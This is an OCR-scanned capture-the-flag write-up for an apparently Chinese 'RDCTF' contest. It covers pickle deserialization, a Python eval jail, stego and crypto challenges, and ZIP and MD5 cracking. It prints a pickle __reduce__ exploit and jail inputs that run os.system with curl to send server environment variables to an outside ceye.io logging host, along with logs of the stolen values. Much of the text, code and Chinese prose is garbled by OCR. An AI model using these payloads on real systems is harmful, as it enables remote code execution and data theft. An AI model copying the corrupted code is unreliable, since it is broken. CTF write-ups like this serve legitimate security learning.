B30C8F24A67C556C485D7C7F7BBAB7420EE71D3737492E6E78FD2ECECATF89181FEEECTSE7AFFODB7D307EFBD975EBE2FCDFCE149FAFFFET7BF93FESE
4C172701AA11DD1E739CDADEC2036162AC6ECT15C935ED5906377FD93F87E7BOE66E997FF815B67B50D8A943C8CACFEE1B6E4DB3F3245EEDF645D808
4787898EEDDBF9786C3616A77D84FC39452AFF9D286F1DASC801870E61DESDC9415D0AF2669B81AA7BD344907ED693AEECCD2716F9ESEFBAB3454B!
743DCF37F413FD77B37E6BOB5F1AF6747D1A199F3F3F855A554B6AD95B4730166CF2C40474317D80EO59A7BE6691A2C46A93B3DAFADF1694A02F5D6
2A28678A138130766FE795A6D508672F5658175FE6TE6AA21F7D91348512A2A1354D3AD10A9F2DFE6D7A4CD3CIBF662AESC36C3FA7035BC4946EA4!
357E0DASA4DD2CB77F7D3FB6FBE228DFCODF19BE983775E4F2FDFD94B831E6F5B54FEACOC2AD652E92CFD66453E2A173C93B97C2D946D8F68DAATS
23A34526F035CB2D77B920E04B87BB3F3D4BD7890669F7F942E3EFBO9BF037A2870BE7F7C94860787A937DC4BADAEO077B097BAD2D25783FDB4F4CD
43D4C97BCEFA5354853F178D64E97932430EF89FB02CB81B89F66CBOESA75872AEF30037BECAE31042B4FF702002D97D0OEC43D32E4B277E8256F90D34
528B2B25906CCD4C38E44219223AA9E021B0582299BA29879CB6599E871881473341BE552120C5B318AFOCBC65B53E4E15F23B24DDIODE345F47DBC2L
6E2322D4E3E4D8B4F7F922E3FFC9374307A24ED7C918EDB4B6BESO7ACT75FB8B429D58729196DEDADFAFABATB4F63E4B2E4229965C84205E5B5645B04
A60671986A52A409C890B77B4ECDOB843D38EBDF048D6D2E7BA6A41CBIECE2669260D1F789F49B39FA82ABA96F1473C16DDBEDA92F6DCAF4B805D(
9F31FFC611AFDF44F53FBF1CFD3BDESBICTFCA4EAF950E054E7D215A9BES168139CB2E2BB6290ACCODES82CB500F40674011E606706F818DC8ACBD34B(
F157373793A4E17E7276932BE90667EA9B20A5205F45D5DET1DO3ESC81B5BB02B29EDAOD755EED86963E537DA642D4996ACB53B1A181ABEC6DF6210L
1FD2F65CA6EBD5076DB8508EEF476A86733E48EDODDA48ECT72613CEE4EAECSEDDOF595F1C5108096659CA3CF8D239B00529462944DD6835773408FAF!
09E2FB8FID88A250A3530CBT1AG8ADADDE201DDFBBOF8EEFDE15DF4BBDE130F5FB83D4EBF4552E155E61DBAA044B2DACAD77C51DF9616F91515793+4
582511E374F1904D83D425E20B9040D86B699AF63289B637073C8F2490CDDC66D1786A21539AF9FF6672A5DD1EC9248B832FE45204E27895D18DAEG’
9A478BC8EB72B2D7CB87F37ED1FBE948EEFBE96BEEFBC2E4DFAS8B51D8A076A86A18079A0C1D597441B174B83EEODA4510BA00TF1C5629CC6D2C82F
C79A9595FF5EDAOATE3CF448A745DA89BAE92A8280BAFAE77F62A665B78C19740972D8D2AD0842B12CD8BABCE4080CC1B25E925F7549A2CDAG9BC:
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Opcode_test
pickleR FFIML, EHEERTIE

Bt 7AreduceBln] (RATFMSEZE Epayload, BEIFIEZ FHisignin jailAB@Bpayload$bidk T,

flaginAEIFIETEE, EITHEEE)



return (eval, ("__import__('os').system('curl http://ZELLE FRER

1 dmport pickle
2  from pwn import x
3 class A(object):
4 def __reduce__(self):
5
fR.ceye.io/2query="env | sed -n 8p ")",))
6 a=A()
7 do=remote('ctf.wdsec.com.cn',33136)
8 do.recvuntil(b'Opcode> ')
9 do.sendline(pickle.dumps(a))
10  do.interactive()
<« C ATz ceyeio/records/http

@®ceve

B Introduce

& Payloads

¥ API

¥ DNS Rebinding

B Records

HTTP Request

DNS Query

Records / HTTP Request

@ The record is only saved for 6 hours and only the last 100 items are displayed.

Remote Addr

Q Download L,

ID Name Method Data
117507 htp: (S eye.io/2query=GZCTF_FLAG=flagdb

006 26d337-2¢3b-4c6b-8433-cf577441396 121.29.138.28 GET

Signin_Jail

LTINS

© 0o N oo b~ W N R

e
o A W N R O

def filtered(s):
not_allow = set('NaILOOg!!!!")

return any(c in not_allow for c in s)

async def handle_client(reader, writer):
# RIXLEE
welcome_message = r''"'

| N N/ |- _|
R 1
RN I P
|-

0V Y VY ) P B P

Welcome To The RDCTF !!!
>|||

@B x O O

5a0ac045df31 v

User Agent Content Type Created At (UTC+0)
curl/7.88.1 2025-01-23 06:59:46

writer.write(welcome_message.encode('utf-8'))



17 await writer.drain()

18

19 # FEE Pl

20 data = await reader.read(100)

21 input_data = data.decode('utf-8").strip()
22

23 # LIEBINZLHE

24 if filtered(input_data):

25 writer.write(b'hacker!!!\n")

26 await writer.drain()

27 writer.close()

28 return

29

30 # ITEHR[OJZER

31 try:

32 result = str(eval(input_data))

33 response = f'Answer: {result}\n'.encode('utf-8")
34 except Exception as e:

35 response = f'Error: {str(e)}\n'.encode('utf-8")
36

37 # RIXHEZ

38 writer.write(response)

39 await writer.drain()

40

41 # XITERE

42 writer.close()

43

44  #r# BB EFREER, TXEBEH~~~~~

FTEZIIETa, FeEMHcat, XERcurliMsRITEERIFIEZ =007



Answer: ©

C:\Users\jyzho>nc ctf.wdsec.com.

-\N/ |-

Welcome To The RDCTF !!!
> __import__('os').system('curl
Answer: ©

C:\Users\jyzho>nc ctf.wdsec.com.

Welcome To The RDCTF !!!
> __dimport__('os').system('curl
Answer: 0

C:\Users\jyzho>nc ctf.wdsec.com.

Welcome To The RDCTF !!!
> __import__('os').system('curl
Answer: 0

C:\Users\jyzho>nc ctf.wdsec.com.

Welcome To The RDCTF !!!
> __import__('os').system('curl
Answer: 0

cn 34112

http://§

cn 34112

http: /A%

cn 34112

http://pEas

cn 34112

| |-
\___/_/

P.ceye.io/?query=‘env |

| .
| | |1 |
I 1 I P
o\ |

|-
\___/_/

ceye.io/?query=‘env |

N\ |

». ceye.io/?query="env |

sed -n 8p‘')




<« > C AF#%® ceyeio/records/http & B W 3 (5]

Q Download 4,

D Name Remote Addr Method Data User Agent Content Type Created At (UTC+0)

DNS Rebinding

Records

117273 http: eye.io/?query=GZCTF_FLAG=flagfc

GO R=gr=] 473 1eef40-a5c0-4551-a8d8-9932¢1390e8d 121.29.138.28 GET curl/7.88.1 2025-01-16 02:40:48

DNS Query hitp:SEERRCe . i0/2query=PATH=/opt/bitnami/py
117273 thon/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/b

472 in:/sbin:/bin 121.29.138.28 GET curl/7.88.1 2025-01-16 02:40:36

http:/Aigeemmeye.io/ 2query=PATH=/opt/bitnami/py
117273 thon/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/b

468 in:/sbin:/bin 121.20.138.28 GET curl/7.88.1 2025-01-16 02:40:26
17273
465 http:/ @M<y e io/2query=0S_NAME=linux 121.29.138.28 GET curl/7.88.1 2025-01-16 02:40:17

117273 http: AER-ceye.io/2query=BITNAMI_APP_NAM

459 E=python 121.20.138.28 GET curl/7.88.1 2025-01-16 02:40:06
17273
456 e i0/7query=0S_ARCH=amd64 ~ 121.29.138.28 GET curl/7.88.1 2025-01-16 02:40:01
17273
452 wBmewencey e io/2query=OS_ARCH=amd64 ~ 121.29.138.28 GET curl/7.88.1 2025-01-16 02:39:51
17273
451 http:/ WSS ye.io/2query=LC_CTYPE=C.UTF-8  121.29.138.28 GET curl/7.88.1 2025-01-16 02:39:40
17273
447 hitp:/ AR ye.io/2query=HOME=/root 121.20.138.28 GET curl/7.88.1 2025-01-16 02:39:31

117273 http: SgRRCeye.io/?query=HOSTNAME=6c055
443 b6fad9 121.29.138.28 GET curl/7.88.1 2025-01-16 02:39:19

a:

CEYE ©2023.

b4by_Qu3stlOnnalr3_5urv3y

BHEEESRESE, BiRes!
RDCTF{The_end_e23a84ba?The_3nd_ce8f10ca.}

IHREXRS RRRE

RGO OMRS, AREET

n/aL¥D, 15MER >

A EX

ez_math
FHE—WHRFRFEZZEpwntools, RIBIRTERFRERN/NEK
Exp



1 dmport pickle
2  from pwn import x
3 jo=remote('ctf.wdsec.com.cn',33143)
4  while True:
5 try:
6 s=jo.recvuntil(b'>>") .decode()
7 pattern = r'is(.x?)\."'
8 match = re.search(pattern, s)
9 if match:
10 content = match.group(1l)
11 ans= ( (content),2)
12 (ans)
13 jo.sendline( (ans) .encode())
14 else:
15 ('"Error'")
16 jo.close()
17 break
18 except:
19 jo.interactive()
20 break

45.71
3533
24528
4.96
6458
796
1395
51953.0
10.67
502.75
1022.75
185.5
960
4.79
235
13564.0




212.89

7024

21.44

gy, 33

34.22

4347.0

166.33

87.0

1831.2

39.57

167.75

34205

1265927

4e2.5

21.86

51786

15142

16794

2758.0

3.53

11880

504.0

50.8

[#] Switching to interactive mode
Congratulation! You are right!

You pass the challenge, this is your flag.
RDCTF{63bU459fd-e3e2-U492c-b68d-6ab2eefll2cl}

[#] Got EOF while reading in interactive

RN

FANE, AW/SEATIDATREIEEMREN T —EikiE, —RE N INERIbase64, EEHIZTZEN K
EEA
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j=0
with open('nailong.png',"rb") as f:
a = f.read()
length=1len(a)
s=b"'
for i in range(length-4):
if a[i:i+4] == b'IDAT':
if a[i-4:i-1] != b'\x00\x00\x08":

s+=a[i-4:1]

b+=a[j:i-4]
b+=b'\x00\x00\x08\xb4'
j=1i

b+=a[j:]

print(s)

with open('new.png',"wb") as f:
f.write(b)

#U2FsdGVkX1/sjRgdhcOkOOvK7QqU/DXazX64701S3+uBgE9Q9fWZsRZmoELGB2Rh4pY1X1Z2813nge

wPD/rVGRw==
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PASSWD:DFSXADNAILONGGGGAA‘

PASSWD:DFSXADNAILONG666

1 from base64 import b64decode

2  from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
3  from cryptography.hazmat.backends import default_backend

4 from hashlib {import md5

5 dmport struct

6 def derive_key_and_iv(password, salt, key_length, iv_length):
7 dt = password + salt

8 d = d_i = md5(dt) .digest()

9 while len(d) < (key_length + 1dv_length):

10 d_i = md5(d_i + password + salt).digest()

11 d += d_i



12
13
14
15
16

17
18
19
20
21

22

23
24
25
26
27
28
29
30
31

32
33
34
35
36
37

return d[:key_length], d[key_length:key_length+iv_length]
def decrypt_data(encrypted_data_b64, password):

encrypted_data = b64decode(encrypted_data_b64)

if not encrypted_data.startswith(b'Salted__"):

raise ValueError ("Encrypted data does not start with 'Salted__'

prefix")

salt = encrypted_data[8:16]

encrypted_data = encrypted_data[1l6:]

key_length = 32

iv_length = 16

key, iv = derive_key_and_iv(password.encode('utf-8'), salt, key_length,
iv_length)

cipher = Cipher (algorithms.AES(key), modes.CBC(iv),
backend=default_backend())

decryptor = cipher.decryptor()

decrypted_padded = decryptor.update(encrypted_data) + decryptor.finalize()

padding_len = decrypted_padded[-1]

if not (1 <= padding_len <= 16):

raise ValueError("Invalid padding encountered")

decrypted_data = decrypted_padded[:-padding_len]

return decrypted_data
password = 'DFSXADNAILONG666'
encrypted_data_b64 =
'"U2FsdGVkX1/sjRgdhcOkOOvK7QqU/DXazX64701S3+uBgE9Q9fWZSRZmMOELGB2Rh4pY1X1Z7813nge
wPD/rVGRw=="
try:

decrypted_data = decrypt_data(encrypted_data_b64, password)

print("Decrypted data:", decrypted_data.decode('utf-8'))
except Exception as e:

print("An error occurred during decryption:", str(e))
#RDCTF{10452926-3312-6091-0178-760038004522}

IEp A PN
BdocxBfizip, ATLIMAREER— zip>X

passwordl
BF AL BRI LB



wWEO3E B WH O NE %W SERa Q  IRfEEEEE

Calibri Light (- |38 - A A" Aav % T (Al
*ﬁfﬁ P BT U v aex X AW AA D |
SR [ =& 1 B & #

. - = OEE -
Eeise ey 2 W B aagbc AaBk AaBbC AaBbCi daBbcedc sambeed mambceod | L, — . &
= 2 i=. (&0 788 1 7 2 TR =i e JIEE |, . igm gﬁ;ﬁﬂg

5] 2t D& T ~

Vid& HhER password 1:#This_<

W BERR, HRADENCHIE, A ERERF T
<R AR R A B AR o Aok E B QU R b — IS A
i A D BRI A
fE— WU E R, ISR IR B T B S SR AERE, JFE
HhE— R TVF SRR A R ek A 38 I 4R SR — LR

N 3 52 R R g A SRR B AR R E AR, (BERR 'ﬁiin

HEIG b ik iR fabl. <

TR, B A R Y B T

U -

Wl R TR, AL T R, HEDRY, Dk

BB Ok, FRALRETA. BAEETTLR, BEEERRAT
b 08y —— S hR bR SRR BT R WSS TSI A AR A
F R AR, 2R KRR SR AR, RSN
SRR IEE A REVEEEEM S E T E RS, e
85 S PAE P E TR, TP AR AR IR AT AR [ S,

password2
2HER, ASIBERBH

@it wR SIE s WA NE W) EERa Q 1Rfr

o - o c - a pE -
Collorilight (- |05 - A A Aa~ B 5 AL = v im e v i W B AaBbC A@BE AaBDC AaBbCi aasbccde aaBheed mambccod | L o * &
R | A e B===g1=. & -3 . -3 R " - JIES - Mmoo | e
I L I U-ex, x' A~ %-A-BHO |E| === 1= & s i 1 g 2 AR ] e e | s B~ e flastir
SR [ =& 1 BE & # [ wiE DI T ~

(TS BE g 5T TR NS bR 13621 DR = SIS N A S B 0B - RO E =
Wifh FREVRE T A, e ORI AR . i e T
O AT B A 0 DA 4 AR ST SR A TR SR
. e, (A R Ak B S, ORI L T
PR — TR, AR TR KSR,

BB IE: .

Password2: @is_!the

password3



EIFFIBxIsmegakzip, 7EsharedStrings.xmlPEILERRIEPEE—LERIEZEZFINAS, A
ctri+ffE PR —T o LIAEXER A EEsheetl1f2117, XBERBIESIEHEFIE| T sheet2h

nE sl Q BERSER

T L. P | E Eim S T S EaRi v A
5 -1 - = - = 7] Z €m =X -
O s o | Aa i Al (N =iy A
BI U~ v Buo . G .oy 9 g g0 | FHER  ER  mmERS | RN BB MK HEFRTS B | M
v R Uiz k3 2 P AL P i i 2
BUREHR ] Fik ] HF 5] # BATTIE e piltE=any A
Al fe | =Sheet1lA21 v
A B (% D E B G H I J X L M N 0 P Q R S T U v (=]
1|p la s s W o r d 3 _ $ r e a 1 0 0 0 0 0 0‘
2 =] ||
3| \
] 1 =
xlsmXt#, REEEEERA
£ Microsoft Visual Basic for Applications - [{21 (f¢88)] - a X
o D HED SEV EAD) BROQ) BRD) BEER IEM MNEEREA) BOW) BEHH) -8 X
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E K binwalk i &— M xt

/home/starr
binwalk -e 2.png --run-as=root

DECIMAL HEXADECIMAL DESCRIPTION

41 0x29 Z1lib comp data, default compr
1984506 0x1E47FA gzip comp d data, has original fi ame: "1.txt", from Unix, last modified: 2024-12-29 ©3:52:20

WARNING: One or more files failed to extract: either no utility was found or it's unimplemented

201, HRIBR -4

1 s='0000000000000000000000COOOEOOOEOOOENOOEOOOEOOEEOOOEOOOEOOAEOOEEOOOEOOBEOOOO
0000000000000000COOOOEOOEOOOOEOOOOEOOBEONBOOEOOEOBOOEONBOOEOOEONBOOEONBOONEOOEOBOOEO
0000000000000000000O0COOOOOOOEONBOONEOOBEONBOOEONBOOBOOBEONBOOEOOOONBOOBEONBOOEOBEOBOOLO
oJe]ofoJe]ofe]elolelofolelole]ofolelofelelolelofolelofe]ofolelofolelolelofolelofelofolelofelelolelofolelofelofolelofoleloleofolelofel ool elofolelofeIofole)
0000000000000000COOOOEOOEONBOOEOOOONEOOENBEOEOOEONBOOEONBEOEOOENBOOEONOEONEOOEOBOOEO
0000000000000000COOOOEOOEOBOOEOOOOEOOEONBOOEOOEOBOOBEONBOOEOOEOBOOBEONBOONEOOEOBOOEO
0000000000000000000O0COOOOOOOEONBOONEOOBEONBOOEONBOOBOOBEONBOOEOOOONBOOBEONBOOEOBEOBOOLO
oJe]ofoJe]ofe]eloleofolelolelofolelofelelolelofolelofelofolelofolelolelofolelofelofolelofolelolelofolelofelofolelofoleloleofolelofelclolelofolelofe0fole)
0000000000000000COOOOEOOEONOOOEOOOONEOOENBEOBEOOEONBOOBEONBEOEOOEONBOOEONOEONEOOEOBOOEO
00000eOM111111111111111111111111060011116006011111111111111111106001111600011111111
1111111111111111000000000000001111111111111111111111110000111060001111111111111
111000011100001111111111111111111111110000000000000011111111111111111111111100
011110600111111111111111111600011110060111111111111111111111111000000000000001111
000000000000000011110000000111000000011110001111000000000011110000000000000000
111100000000000000111000000000000000000111000000011100000001111000111600000000



0011100000000000000000011100000000000000111000000000000000001111000000011110060
00011110001111000000000011110000000000000000111100000000000000111160001010101061
000001110000000111000010011110001111000000000011100001010101010000011100000000
000000111000011111111110001111000000011100001111110000111111100000001110000111
111111100011110000000000000011100001111111111000011100000001111000111111100011
111110000000111106001111111111000011100000000000000111160060111111111100011110000
0001110000111111100011111110000000111600001111111111000111100000000000000111000
011111111110000111000011111111111110000000111111111100001111000111111111100001
1100000000000000111000601111111111006111160011111111111111000000011111111111000
1110000111111111100011110000000000000011110601111111111000011166000111111111111
110000001111111111000011100001111111111000011100000000000000111000011111111110
001111000111111011101110000000101101111110001111000111111111100011110000000000
000011100001111111111000011100001110000000000000011100000001110000111000011111
1111100001110000000000000011116000111111111100011110001111000000000000001110000
000111100011110061111111111000111100000000000000111000011111111110000111000011
1000000000000011110000000111000011160000111111111100001110000000000000011100000
000000000000111160011111110000111000011100000000000000111000000000000010001111
000000000000001111000000000000000001110000111111000011100001110000000000000011
1100000000000000000111600000000000000111000000000000000001111000111111100001110
0001110000000000000011100000000000000000011100000000000000111101101111111111061
011100001110101101010110101011010001010000111101101111110110101111000000000000
0011111111111111111711111110001111000111100011110001111000111106011111111111111
111111111100000000000000111111111111111111111111000011100001110001111000111000
011100001111111111111111111111110000000000000011111111111111111611111100011110
0011110001110000111100011110060111111111111111111111111000000000000000000000000
000000000000000001111111111000000000000000001110000000000000000O0OOOCOOEOOBOOEO
00000000000000000O0OO0COOOONOOOEOOONEONEN111111111110000000000000000011110000000
0000000000000OOOEOOOOEOOEOOEOEOOEONEOOENOEONEOOEONEOOEONOEOEONENANO1111111111000000
0000000000011100000000000000000000COOCOOEOEOOEOEOOENOONE1010000CNOCNEO1O100001
010101111111111101000001010000000111110101010101010101000000010100000000000000
11100000000000111000601111111111111111111100001110000000111111111111111111111060
000001110000000000000011100000000000111000111111111111111111111000111100000001
111111111111111111110000000111000000000000001111000000000111160001111111111111
1111111000011100000060111111111111111110111000000111100000000000000000111111111
100001111000000000000000001111111111111100011100001110000111000000011100000000
000000000ONEMO11111111110001110000000000000000001111111111111000011110001111060
011100000001111000000000000000000001111111111100011110000000000000000011111111
1111110001110000111000011110000001111000000000000000001010160111110100000101010
101000000001010101010111111101010101011110000111000000001000000000000000000011
100001110000000000011111100000001111000000011111111110001111111100011100000000
0000000000000000CN0011100001110000000000111111110000001111000000011111111110060
0111111000011100000000000000000000000000001111001111000000000001111160000000001
1000000101111111111600011111110000111000000000000000000000000000011111110001111
000111100000000001111000000111100000000000000111000000011110001110000000000000
0000000011111110600111100011100000000000111000000011110000000000000111100000001
1100001110000000000000000000001111111000111600001111000000000011100000001110000
00000000000111000000011100001110000000000000000000001110000111111160000001111060



0111100000001110660111111111111111111111000000011111110000111000000000000001111
000111111100000001110000111000000011160006011111111111111111111000000011111110060
11110000000000000011100001111110000000111100011110000000111606060111111111111111
111110000000111111100001110000000000000011100001101110000000010100001100000101
1110101101111160101111011011101010016111110000111000000000000001111000000000000
000000000000NOO0LO111100011100001110000111000000001111110000000000000000000000
000000111000000000000000000000000000000011110001111000111100011110000001111111
000000000000OOOOEOOONEOOENBO111000000000O0COOENOOOEONOOOEONENACN111000111100011
10000111000000011111111000000000000000000000000000000CCOCOOOONECO11100001110000
00011111111101111111111111100000000000000000000000000000000000000000CCOCOBOOEO
000000001110001111000000011111111111111111111111100000000000000000000000000000
00000000000COOOOEOOONEONENNNN1111000011100000001111111111111111111111110000000
0000000000000000000OOCOOENOOOEOOONEOOENOONAENN1010100101000010106000101111111111
110101110010010000000000001010000000101010100000000000000000000000011111110000
0000000001111111111111160000111000000000000000001111000000011111110000000000000
000000000001111111000000000000001111111111111000011100000000000000000111100000
0011111100000000000000000000000011110111000000000000011111111111111000111100060
00000000000000111000000011101110000000000000000011111110000000000000011100000600
01111111000111111160600111111111111111111111111111100001110000000000000011111110
00000000000A11110000000111111100601111111000601111111111111111111111111110001111
0000000000000011111110000000000000011100000001111111000111111160601111111111111
111111111111111000011100000000000000101010000000000000000101000010101010000000
010111110010111110101010101111111101011010100000000000000000000000000000000000
0000000111100000000000000111111100011100000000000111111100011116000000000000000
00000000000000O0COOONEOOENOENE111000000000000001111110000111100000000001111111
00011100000000000000000000000000OOCOOEOOOOEOOONEONA111100000000000001111011160
011100000000000111111100011110000000000000000011111111111111111111111160001111
110000000000000000000001111000111000011100000000000000000000000000001111111111
111111111111110001111111100000000000000000000111000011110001110000000000000000
00000000LCONO1111111111111111111111116000011111100000000000000000000011110001110
00011100000000000000000000000000001111010101010101016011111000016111110160000101
000001000001110000101000011110001010100000000000000000001110000000000000000001
1100000001111111000111100011110001111000000000011100001111111600000000000000000
11100000000000000000111100000001111111600011110001111000111000000000001116000011
111110000000000000000011110000000000000000011100000011111111000101000011100001
111000000010111100001111111000000000000000001110000111111111100011110001111000
01111110606011111111606001111111111111111116000111111111100000000000000111000011111
1111100001110000111000111111100001111111600011111111111111111000011111111110000
0000000000111100611111111110060111100011110601111111000011111160601111111111111
111100001111111111000000000000001110000111111111100001110000000000000000111110
0000010060000111111111110001111111111111100000000000000111000011111111110001111
00000000000000O00111000000000000CNAO1111111111000111111111111110000000000000011
110001111111111000011100000000000000000111100000000000001111111111160611111111
111111000000000000001110000111111111100011110000000001000100011110010100000000
011111111110000110111111111100000000000000111000011111111110000111000000011111
1111111111111111000000111111111110000000000111000000000000000000111106001111111
1110001111000000011111111111111111111100000001111111111000000000011116000000000
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0000LOLO11100001111111111000011100000001111111111111111111100000001111111111106
00000OLOO111000000000000000C0C111000000000OOOOONEN1111000000011110001110001111
000111100000001111000111000011111110000000000000000011110000000000000000011100
0000011100001110000111000011160000000111000011100001111110000000000000000001110
000000000000000011110000000111000011100001110001111000000011100001116000111111
100000000000000000111100101010101010100111000000111100001110101111000011100000
001111010111101011111110000000000000000011111111111111111111111100011110000000
000111111100011110000000111111111111111111111111000000000000001111111111111111
111111110000111000000000011111110000111000000011111111111111111111111100000000
0OGOAO111111111111111111111111000111100000000001111111000111100000001111111111
11111110111111000000000000000000000000000000000000000COOCOOOOCOOEOBOOEOBOOCOOO
0000000000000OOOCOOOOEOOEOOOOEOOEONEOOENOEOEOOEOEOOEOBEOEOOEONBOOBEOOEOEOOEOBOOEO
0000000000000000COOOOEOOEONBOOEOOOONEOOENBOOBEOOEONEOOBEONBEOEOOEONBOOEONOEONEOOEOOBOOEO
0000000000000000COOOOEOOEOBOOEOOOOEOOEONBEOEONOEOBOOBEONBEOEOOEONBOOBEONBOOEOOEOBOOEO
0000000000000000000O0COOOOOOOEONBOONEOOBEONBOOEONBOOBOOBEONBOOEOOOONBOOBEONBOOEOBEOBOOLO
0000000000000OOOEOOOONEOOEOOOOEOOEOEOOENOEOEOOEOEOOBEONOEOEOOEONEOOEONOEOEOOEOBOOEO
0000000000000000CO0OONEOOEONBOOEOOOONEOOENBEOEOOEONEOOEONBEOEOOEONEEOEONBEONEOOEOOBOOEO
0000000000000000COOOOEOOEOBOOEOOOOBOOEONBOOEONOEOBOOBEONBOOEOOEOBOOBEONBOOEOOEOBOOEO
0000000000000000000O0COOOOOOOEONBOONEOOBEONBOOEONBOOBOOBEONBOOEOOOONBOOBEONBOOEOBEOBOOLO
00000000000000000060"

from PIL import Image

def create_image_from_string(s, size=(100, 100)):

image = Image.new('l', size, 'white')

pixels = image.load()

if len(s) > size[0] * size[l]:

raise ValueError ("FREBEKEBT TEGHNSGEEH")

for i in range(len(s)):
X =1 % size[0]
y =1 // sizel[0]

if s[i] == '1':

pixels[x, y] = 0 # 2@
elif s[i] == '0':

pixels[x, y] =1 # Hf
else:

raise ValueError ("FREBEEIEOHIFR")

return image

img = create_image_from_string(s)

img.save('output_image.png')

img. show()
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1 1s=
["204","213" "166","205","234", 1215 M166", "216", 164", 11213, 216", 115", 205"
,"164",1232" 12321 1202","223","236" ]
Sy
for i in 1s:
st=chr(int(i,7))
print(s)
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struct PNG_CHUNK chunk[188]
struct PNG_CHUNK chunk[189]
struct PNG_CHUNK chunk[190]
struct PNG_CHUNK chunk[191]
struct PNG_CHUNK chunk[192]

baseEif

IDAT (Critical, Public, ...
. 174D57h
. 176D63h

IDAT (Critical, Public,
IDAT (Critical, Public,
IEND (Critical, Public,

VIVS (Critical, Private,...

FHE

172D4Bh

177C2Bh
177C37h
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Recipe

From Base64

Alphabet
A-Za-z@-9+/=

Remove non-alphabet chars

From Base32

Alphabet
A-Z2-7=

Remove non-alphabet chars

From Base32

Alphabet
A-Z2-7=

Remove non-alphabet chars

From Base64

Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars

part3
E R RiRjpg

[] Input

T S1Z3V1VSUBxHWkIWVVVDS@1GSORFUE01SFUSPTE9PTE=

I
Output

welce
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struct PNG_CHUNK chunk[27]
struct PNG_CHUNK chunk[28]
struct PNG_CHUNK chunk[29]
struct PNG_CHUNK chunk[30]

struct PNG_CHUNK chunk[31]

BI7KEDN

%R
KENELR

IDAT (Critical, Public,
IDAT (Critical, Public,
IDAT (Critical, Public,
IEND (Critical, Public,
a (Ancillary, Public, U

010 Templates\Repository\PNG.bt' F- 'C:\Users\jyzl

C:\Users'jvzho'\Desktop\RICT

Elhs=:
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BRsE:
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£ Decode message: C:/Users/jyzho/Desktop/RDCTF/7.jpg
Media's encoding format: [JPEG -~ ¥

X

- Options

Luminance interval (k) — 5 =
Header position bottom j
Passphrase hokokokk Kok ok [ show

Decoded message

part4: RDC

CharSet: |UTFB v| B [ Encrypte ¥ Compres 9 Cance|| (V) Decode|

part5
Pixeljihad

<« C @ QO 8 https://sekao.net/pixeljihad/
Dymeps @ FiFLr O xENL © sURmEm

PixelJihad

A stego tool in pure HTML5 by Zach Oakes.
Works well in Chrome, Firefox, Opera, and IE10+.
How it works.

CHOOSE AN IMAGE

... | 6.ng

HIDDEN MESSAGE

part5: TF...
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HITER - PNG. bt
& B FHR
struct PNG_CHUNK chunk[46] IDAT (Critical, Public, ... 2B0004h
struct PNG_CHUNK chunk[47] IDAT (Critical, Public, ... 2C0004h
struct PNG_CHUNK chunk[48] IDAT (Critical, Publi
struct PNG_CHUNK chunk[49] IEND (Critical, Public,
struct PNG_CHUNK chunk[50] R (Critical, Public, Un:

REDF,

BRI 2P !

< c 25 330k.github.io/misc_tools/unicode_steganography.html

10000h
10000h
DD15h
Ch
Oh

Unicode Steganography with Zero-Width Characters

This is plain text steganography with zero-width characters of Unicode.

Zero-width characters is inserted within the words.

JavaScript library is below.
http://330k.github.io/misc tools/unicode steganography.js

Text in Text Steganography Sample

Original Text: [ Clear | (length: 13)

Steganography Text: [ Clear | (length: 237)

TRPp | BIRPE! !

FRp FIEpR! !

Encode »

Hidden Text: [ Clear | (length: 28)

01 12 41 51 6 02 62 12 43 30

Binary in Text Steganography Sample

Original Text: [ Clear | (length: 90)

The quick brown fox jumps over the lazy dog
1234567890 ;(x127)

LAEIENE BUDBE

BEABAE HUNZE

X N R AR AT

« Decode

Download Stego Text as File

Steganography Text: | Clear (length: 0)
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struct PNG_CHUNK chunk[43] IDAT (Critical, Public, ... 280004h 10000h
struct PNG_CHUNK chunk[44] IDAT (Critical, Public, ... 290004h 10000h
struct PNG_CHUNK chunk[45] IDAT (Critical, Public, ... 2A0004h F46Dh
struct PNG_CHUNK chunk[46] IEND (Critical, Public, 2AF471h
struct PNG_CHUNK chunk[47] (Critical, Public, Un:
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struct PNG:CHUNK chunk[417]
struct PNG_CHUNK chunk[418]
struct PNG_CHUNK chunk[419]

struct PNG_CHUNK chunk[420]
struct PNG_CHUNK chunk[421]
ERER

JERR Y

& FHR

IDAT (Critical, Public, ... 33D838h
IDAT (Critical, Public, ... 33F844h
IDAT (Critical, Public, ... 341850h
IEND (Critical, Public,
R (Critical, Public, Un:
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Encate Decoded

BEeads Your spam message Dear E-Commerce professional ; This lett... decodes to:

Explanation partd: tim Encode

Look wrong?, try the old version
Credits

FAQ & Feedback
Terms

Frangais
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4 ARCHPR 4.54 Professional Edition — X
SHHF) RER) #FE(H)

.M KR & % e o |

IR AR S B AR #E xXF  BL
DIEERY ZIP/RARJACE/AR] X+ BrizeR |
| C:\Users\jyzho\Desktopyet3.zip BA~ v

BE KE =# BY BZihiyr #E =8

BRSZ %M

BRS ST 513

C:\Users\jyzho\Desktop\information. txt % - Fi&F: 708 ¢

& Y| idbodofe| | f77f044| RS | descuofi| 9
b FevF iR = SIS E DA ZIP #4504
#EED

2025/1/23 17:36:59 - S {$"C:\Users\jyzho\Desktop ret3.zip " 2$] F o A
2025/1/23 17:37:02 - BV ErF 2 Hig
2025/1/23 17:37:45 - WIEEASRRINIEE!

2025/1/23 17:37:49 - Bi= VR ITHES v
LEOL: FEE:
EAE E: oA El:
WEIE TS
0%

|ARCl-IPR version 4.54 (c) 1997-2012 ElcomSoft Co. Ltd.

SN H#HE H mssql.sqlFAIMd5ERIBEX

1 Admport hashlib
2 def generate_md5_dict():
3 md5_dict = {}
4 for char 1in range(33, 127):
5 plain = chr(char)
6 md5_hash = hashlib.md5(plain.encode()) .hexdigest()
7 md5_dict[md5_hash] = plain
8 return md5_dict
9 sql_md5_values = [
10 'eleld3d40573127e9ee0480caf1283d6",
11 '0ccl75b9c0f1b6a831c399€269772661 ",
12 '865c0cOb4ab0e063e5caa3387cla8741",

13 '7b8b965ad4bcade41ab51de7b31363al’,



14 '415290769594460e2e4859229041345d",

15 '69691c7bdcc3ce6d5d8al361f22do4ac’,
16 '0ccl75b9cOf1b6a831c399e269772661",
17 '8ce4b16b22b58894aa86c421e8759df3",
18 'd20caec3b48aleefl64ch4ca81ba2587",
19 'd95679752134a2d9eb61dbd7b91c4bcc’,
